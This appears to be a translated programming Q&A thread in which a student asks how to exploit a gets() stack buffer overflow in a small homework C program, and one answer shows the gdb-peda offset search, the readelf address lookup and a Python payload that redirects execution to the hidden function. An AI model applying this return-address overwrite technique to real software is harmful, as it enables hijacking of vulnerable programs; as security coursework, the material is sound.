2017-06-15 68 views
1

我有一個家庭作業分配來利用給定程序中的緩衝區溢出。如何利用緩衝區溢出?

#include <stdio.h> 
#include <stdlib.h> 

int oopsIGotToTheBadFunction(void) 
{ 
     printf("Gotcha!\n"); 
     exit(0); 
} 

int goodFunctionUserInput(void) 
{ 
     char buf[12]; 
     gets(buf); 
     return(1); 
} 

int main(void) 
{ 
     goodFunctionUserInput(); 
     printf("Overflow failed\n"); 
     return(1); 
} 

教授要我們利用輸入gets()。我們不會以任何方式修改代碼,只會創建一個惡意輸入來創建緩衝區溢出。我看過網上,但我不知道如何去做這件事。我使用gcc版本5.2.0和Windows 10版本1703.任何提示都會很棒!

更新:

我已經看過了一些教程,並至少找到了地址隱藏的功能我想溢出到,但我現在卡住。我一直試圖運行這些命令:

gcc -g -o vuln -fno-stack-protector -m32 homework5.c 
gdb ./vuln 
disas main 
break *0x00010880 
run $(python -c "print('A'*256)") 
x/200xb $esp 

用最後一個命令,它出現說「值不能轉換爲整數」。我嘗試將esp替換爲rsp,因爲我在64位上,但是得出了相同的結果。有沒有解決這個或另一種方法來找到buf的地址?

+0

提示:https://en.wikipedia.org/wiki/Stack_buffer_overflow – Namphibian

+1

爲什麼老師總是給無用的功課?這個問題要求未定義的行爲。如果你想要一個提示,至少需要給我們:gcc的版本,你編譯和運行的操作系統是什麼(包括版本)。 – Stargateur

+2

查看[security.stackexchange.com]上的其他問題(https://security.stackexchange.com/questions/tagged/buffer-overflow) –

回答

1

由於buf指向長度爲12的字符數組,輸入長度大於12的任何內容都會導致緩衝區溢出。

0

首先,您需要找到覆蓋指令指針寄存器(EIP)的偏移量。

用GDB + PEDA是非常有用的:

$ gdb ./bof 
... 
gdb-peda$ pattern create 100 input 
Writing pattern of 100 chars to filename "input" 
... 
gdb-peda$ r < input 
Starting program: /tmp/bof < input 
... 
=> 0x4005c8 <goodFunctionUserInput+26>: ret  
    0x4005c9 <main>: push rbp 
    0x4005ca <main+1>: mov rbp,rsp 
    0x4005cd <main+4>: call 0x4005ae <goodFunctionUserInput> 
    0x4005d2 <main+9>: mov edi,0x40067c 
[------------------------------------stack-------------------------------------] 
0000| 0x7fffffffe288 ("(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 
0008| 0x7fffffffe290 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 
0016| 0x7fffffffe298 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 
0024| 0x7fffffffe2a0 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 
0032| 0x7fffffffe2a8 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 
0040| 0x7fffffffe2b0 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 
0048| 0x7fffffffe2b8 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL") 
0056| 0x7fffffffe2c0 ("AJAAfAA5AAKAAgAA6AAL") 
[------------------------------------------------------------------------------] 
Legend: code, data, rodata, value 
Stopped reason: SIGSEGV 
0x00000000004005c8 in goodFunctionUserInput() 
gdb-peda$ patts 
Registers contain pattern buffer: 
R8+0 found at offset: 92 
R9+0 found at offset: 56 
RBP+0 found at offset: 16 
Registers point to pattern buffer: 
[RSP] --> offset 24 - size ~76 
[RSI] --> offset 0 - size ~100 
.... 

現在,你可以覆蓋EIP寄存器,偏移量是24個字節。正如你的家庭作業,只需要打印「Gotcha!\ n」字符串。只需跳轉到oopsIGotToTheBadFunction函數。

獲取函數地址:

$ readelf -s bof 
    ... 
    50: 0000000000400596 24 FUNC GLOBAL DEFAULT 13 oopsIGotToTheBadFunction 
    ... 

使開發,並得到了結果:

[[email protected] /tmp]$ python -c 'print "A"*24+"\x96\x05\x40\x00\x00\x00\x00\x00"' > input 
[[email protected] /tmp]$ ./bof < input 
Gotcha!